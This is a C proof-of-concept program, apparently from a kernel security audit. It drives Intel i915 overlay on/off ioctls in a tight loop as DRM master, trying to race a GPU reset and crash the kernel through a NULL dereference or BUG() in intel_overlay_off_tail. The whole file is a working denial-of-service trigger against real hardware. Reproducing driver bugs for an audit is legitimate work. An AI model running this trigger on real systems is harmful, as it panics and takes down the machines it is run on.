/*
 * DF-4314 trigger — intel_overlay GPU-reset vs overlay-off lifetime race
 *
 * Bug: intel_overlay_reset() (called from i915_reset()) clears overlay->crtc
 * and releases overlay->old_vma while an intel_overlay_off() submitted from a
 * concurrent DRM-master ioctl (PUT_IMAGE !ENABLE / CRTC dpms disable) is still
 * in flight.  When that off request later retires, intel_overlay_off_tail()
 * executes `overlay->crtc->overlay = NULL` with overlay->crtc == NULL
 * (NULL+offset write -> kernel page fault -> panic), or the reset-path
 * intel_overlay_release_old_vid() slowpath trips
 * GEM_BUG_ON(i915_gem_active_peek(&overlay->last_flip)) in
 * intel_overlay_submit_request() -> BUG() -> panic.
 *
 * This program is the DRM-master half of the race: it drives the overlay on/off
 * as fast as the hardware allows, maximising the chance that a GPU reset (the
 * other half — induced by an *unprivileged* client hanging the ring, or by
 * i915_handle_error) lands while an overlay-off is pending.
 *
 * Requires: Intel Gen2..Gen4 i915 GPU with overlay unit (HAS_OVERLAY), a DRM
 * master (no X running, or run as the VT master), one active CRTC.
 *
 * Expected on vulnerable hardware: kernel panic in intel_overlay_off_tail()
 * (NULL-deref at overlay->crtc->overlay) or GEM_BUG_ON in
 * intel_overlay_submit_request(), shortly after a GPU reset lands mid-race.
 * On the DF audit QEMU guest (Bochs/virtio VGA, no i915): open() fails with
 * ENOENT — documented, that is the honest device-absent result.
 *
 * Build:  cc -O2 -o trigger trigger.c
 * Run:    ./trigger [/dev/dri/card0]
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

#include <uapi/drm/drm.h>
#include <uapi/drm/drm_mode.h>
#include <uapi/drm/i915_drm.h>

#ifndef DRM_IOCTL_I915_OVERLAY_PUT_IMAGE
#define DRM_IOCTL_I915_OVERLAY_PUT_IMAGE \
	DRM_IOW(DRM_COMMAND_BASE + 0x27, struct drm_intel_overlay_put_image)
#endif

static int fd;

static uint32_t find_crtc(void)
{
	struct drm_mode_card_res res;
	uint32_t *crtcs;
	uint32_t id = 0;

	memset(&res, 0, sizeof(res));
	if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0) {
		perror("DRM_IOCTL_MODE_GETRESOURCES");
		return 0;
	}
	if (res.count_crtcs == 0) {
		fprintf(stderr, "no CRTCs\n");
		return 0;
	}
	crtcs = calloc(res.count_crtcs, sizeof(uint32_t));
	res.crtc_id_ptr = (uint64_t)(uintptr_t)crtcs;
	if (ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res) < 0) {
		perror("DRM_IOCTL_MODE_GETRESOURCES(2)");
		free(crtcs);
		return 0;
	}
	if (res.count_crtcs > 0)
		id = crtcs[0];
	free(crtcs);
	return id;
}

static uint32_t gem_create(uint64_t size)
{
	struct drm_i915_gem_create gc;

	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	if (ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gc) < 0) {
		perror("DRM_IOCTL_I915_GEM_CREATE");
		return 0;
	}
	return gc.handle;
}

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
	struct drm_intel_overlay_put_image img;
	uint32_t crtc_id, bo;
	unsigned long n, ok = 0, err = 0;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		perror("open DRM device");
		fprintf(stderr,
		    "DF-4314: no DRM device — on this guest the i915 driver\n"
		    "cannot attach (Bochs/virtio VGA), so the overlay path is\n"
		    "unreachable at runtime.  See VERDICT.md.\n");
		return 2;
	}
	if (ioctl(fd, DRM_IOCTL_SET_MASTER, 0) < 0)
		perror("SET_MASTER (continuing; may already be master)");

	crtc_id = find_crtc();
	bo = gem_create(64 * 1024);
	if (!crtc_id || !bo) {
		fprintf(stderr, "prerequisites failed\n");
		return 3;
	}

	memset(&img, 0, sizeof(img));
	img.flags = I915_OVERLAY_ENABLE | I915_OVERLAY_YUV_PACKED |
	    I915_OVERLAY_YUV422;
	img.bo_handle = bo;
	img.stride_Y = 128;			/* >= 64*2, 64-aligned */
	img.src_width = 64;
	img.src_height = 48;			/* >= N_VERT_Y_TAPS*4 */
	img.src_scan_width = 64;
	img.src_scan_height = 48;
	img.crtc_id = crtc_id;
	img.dst_x = 0;
	img.dst_y = 0;
	img.dst_width = 100;			/* nonzero */
	img.dst_height = 100;

	/*
	 * Race loop: ON then OFF forever.  Every OFF submits
	 * MI_OVERLAY_OFF and waits; a GPU reset landing inside that wait
	 * (run hang-inducing unprivileged batches in parallel) hits the bug.
	 */
	for (n = 0; n < 100000; n++) {
		img.flags |= I915_OVERLAY_ENABLE;
		if (ioctl(fd, DRM_IOCTL_I915_OVERLAY_PUT_IMAGE, &img) == 0)
			ok++;
		else
			err++;
		img.flags &= ~I915_OVERLAY_ENABLE;
		if (ioctl(fd, DRM_IOCTL_I915_OVERLAY_PUT_IMAGE, &img) == 0)
			ok++;
		else
			err++;
		if ((n % 2000) == 0) {
			printf("iter %lu ok=%lu err=%lu\n", n, ok, err);
			fflush(stdout);
		}
	}
	printf("done: ok=%lu err=%lu\n", ok, err);
	return 0;
}
